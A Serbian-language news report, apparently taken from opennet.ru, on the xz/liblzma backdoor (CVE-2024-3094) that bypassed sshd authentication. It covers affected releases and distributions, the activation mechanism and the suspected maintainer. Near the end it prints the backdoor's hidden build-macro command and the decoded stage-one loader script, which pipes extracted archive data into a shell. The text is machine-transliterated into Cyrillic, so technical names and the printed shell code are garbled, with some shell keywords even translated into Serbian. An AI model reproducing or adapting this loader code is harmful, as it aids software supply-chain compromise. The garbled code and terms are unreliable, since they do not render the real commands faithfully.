Откривен је бацкдоор у библиотеци кз/либлзма који омогућава улаз преко ссхд-а

У пакету КСЗ Утилс, који укључује библиотеку либлзма и услужне програме за рад са компресованим подацима у формату „.кз“, идентификован је бацкдоор (ЦВЕ-2024-3094) који омогућава пресретање и модификацију података које обрађују апликације повезане са библиотеком либлзма. Главни циљ бацкдоор-а је ОпенССХ сервер, који је у неким дистрибуцијама у пакету са библиотеком либсистемд, која заузврат користи либлзма. Повезивање ссхд-а са рањивом библиотеком омогућава нападачима да добију приступ ССХ серверу без аутентификације.

Бацкдоор је био присутан у званичним издањима 5.6.0 и 5.6.1, објављеним 24. фебруара и 9. марта, који су успели да уђу у неке дистрибуције и спремишта, на пример, Гентоо, Арцх Линук, Дебиан сид/унстабле, Федора Равхиде и 40-бета, опенСУСЕ фабрика и тумблевеед, ЛибреЕЛЕЦ, Алпине едге, Солус, НикОС нестабилан, ОпенИндиана, ОпенМандрива роллинг, пкгсрц струја, Слацкваре струја, Мањаро тестирање. Свим корисницима издања кз 5.6.0 и 5.6.1 се препоручује да се хитно врате на верзију 5.4.6.

Међу факторима који ублажавају проблем, може се приметити да верзија либлзма са бацкдоор-ом није успела да постане део стабилних издања великих дистрибуција, али је утицала на опенСУСЕ Тумблевеед и Федора 40-бета. Арцх Линук и Гентоо су користили рањиву верзију зк-а, али нису подложни нападу јер не примењују закрпу системд-нотифи на опенссх, што доводи до тога да ссхд буде повезан са либлзма-ом. Бацкдоор утиче само на к86_64 системе засноване на Линук кернелу и Глибц Ц библиотеци.

Активациони код позадинских врата био је сакривен у м4 макроима из датотеке буилд-то-хост.м4 коју је користио комплет алата за аутомаке приликом изградње. Током асемблера, током извршавања замршених опфускованих операција заснованих на архивама (бад-3-цоррупт_лзма2.кз, гоод-ларге_цомпрессед.лзма), које се користе за тестирање исправности рада, генерисана је објектна датотека са злонамерним кодом, која је укључена у библиотеку либлзма и променио логику операције неке од њених функција. М4 макрои који активирају позадинска врата били су укључени у архиве за издавање, али нису били у Гит спремишту. Истовремено, у репозиторијуму су биле присутне злонамерне тест архиве, тј. особа која је имплементирала бацкдоор имала је приступ и репозиторијуму и процесима генерисања издања.

Када се либлзма користи у апликацијама, злонамерне промене могу да се користе за пресретање или модификовање података или утичу на рад ссхд-а. Конкретно, злонамерни код је лажирао функцију РСА_публиц_децрипт да би заобишао процес ссхд аутентификације. Бацкдоор је укључивао заштиту од откривања и није се манифестовао када су ЛАНГ и ТЕРМ променљиве окружења биле подешене (тј. када се покренуо процес у терминалу) и ЛД_ДЕБУГ и ЛД_ПРОФИЛЕ варијабле окружења нису биле подешене, а такође је био активиран само приликом извршавања /уср/сбин/ссхд извршна датотека . Бацкдоор је такође имао средство за откривање извршења у окружењима за отклањање грешака.

Конкретно, датотека м4/буилд-то-хост.м4 користи гл_ам_цонфигмаке=`греп -аЕрлс “#{4}[[:алнум:]]{5}#{4}$” $срцдир/ 2>/дев / нулл` … гл_[$1]_цонфиг='сед \»р\н\» $гл_ам_цонфигмаке | евал $гл_патх_мап | $гл_[$1]_префикс -д 2>/дев/нулл'

У првој конструкцији, греп операција је пронашла датотеку тестс/филес/бад-3-цоррупт_лзма2.кз, која је, када се распаковала, генерисала скрипту: ####Хелло#### #345У211267$^Д330^В [ ! $(унаме) = "Линук" ] && излаз 0 [ ! $(унаме) = "Линук" ] && излаз 0 [ ! $(унаме) = "Линук" ] && излаз 0 [ ! $(унаме) = "Линук" ] && излаз 0 [ ! $(унаме) = "Линук" ] && излаз 0 евал `греп ^срцдир= цонфиг.статус` ако тест -ф ../../цонфиг.статус; затим евал `греп ^срцдир= ../../цонфиг .статус` срцдир="../../$срцдир» фи извоз и=»((глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/ нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава - ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава - ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/ дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && ( глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +2048 && (глава -ц +1024 >/дев/нулл) && глава -ц +939)";(кз -дц $срцдир/тестс/филес/гоод-ларге_цомпрессед.лзма|евал $и|таил -ц +31233|тр "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|кз -Ф рав —лзма1 -дц|/бин/сх ####Свет####

Како су нападачи успели да добију приступ инфраструктури пројекта кз, још није у потпуности разјашњено. Такође још није јасно колико је корисника и пројеката компромитовано као резултат бацкдоор-а. Наводни аутор бацкдоор-а (ЈиаТ75 - Јиа Тан), који је поставио архиве са злонамерним кодом у спремиште, дописивао се са Федора програмерима и слао захтеве за повлачење Дебиан-у у вези са преласком дистрибуција на грану кз 5.6.0 и није изазивају сумњу, пошто је учествовао у кз се развија последње две године и други је програмер по броју унетих промена. Поред кз пројекта, наводни аутор бацкдоор-а је такође учествовао у развоју кз-јава и кз-ембеддед пакета. Штавише, Јиа Тан је пре неколико дана био укључен у број одржавалаца КСЗ Ембеддед пројекта који се користи у Линук кернелу.

Злонамерна промена је откривена након анализе прекомерне потрошње ЦПУ-а и грешака које генерише валгринд приликом повезивања преко ссх-а на системе засноване на Дебиан сид-у. Важно је напоменути да је издање кз 5.6.1 укључивало измене које је припремио наводни аутор бацкдоор-а као одговор на жалбе о успоравању ссхд-а и кваровима који су настали након надоградње на верзију зк 5.6.0 са бацкдоор-ом. Поред тога, прошле године Јиа Тан је направио измене које нису компатибилне са режимом инспекције „-фсанитизе=аддресс“, што је довело до његовог онемогућавања током фузз тестирања.

Извор: опеннет.ру